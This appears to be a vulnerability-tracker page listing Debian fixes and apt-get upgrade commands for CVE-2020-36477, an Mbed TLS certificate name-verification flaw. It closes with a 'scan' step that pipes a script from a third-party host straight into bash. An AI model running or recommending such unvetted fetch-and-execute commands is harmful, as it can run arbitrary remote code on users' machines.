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CVE-2020-36477 · cross-distro fix matrix

CVE-2020-36477: An issue was discovered in Mbed TLS before 2.24.0. The verification of X.509 certificates when matching the expected common name (the cn argument of mbedtls_x509_crt_verify) with the actual certificate name is mishandled: when the subjecAltName extension is present, the expected name is compared to

Affects 2 Linux releases across 2 (distro × package) combinations.

Fix per ecosystem

Each block below is a distro release where CVE-2020-36477 has a known fix. Run the listed command on that distro to remediate.

Debian bookworm

Source: Debian Security Tracker

  • mbedtls→ fixed in2.28.0-0.3urgency: not yet assigned
    sudo apt-get install --only-upgrade -y mbedtls

Debian trixie

Source: Debian Security Tracker

  • mbedtls→ fixed in2.28.0-0.3urgency: not yet assigned
    sudo apt-get install --only-upgrade -y mbedtls
Are YOU affected by CVE-2020-36477?

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curl https://mindsparkstack.com/scan.sh | bash
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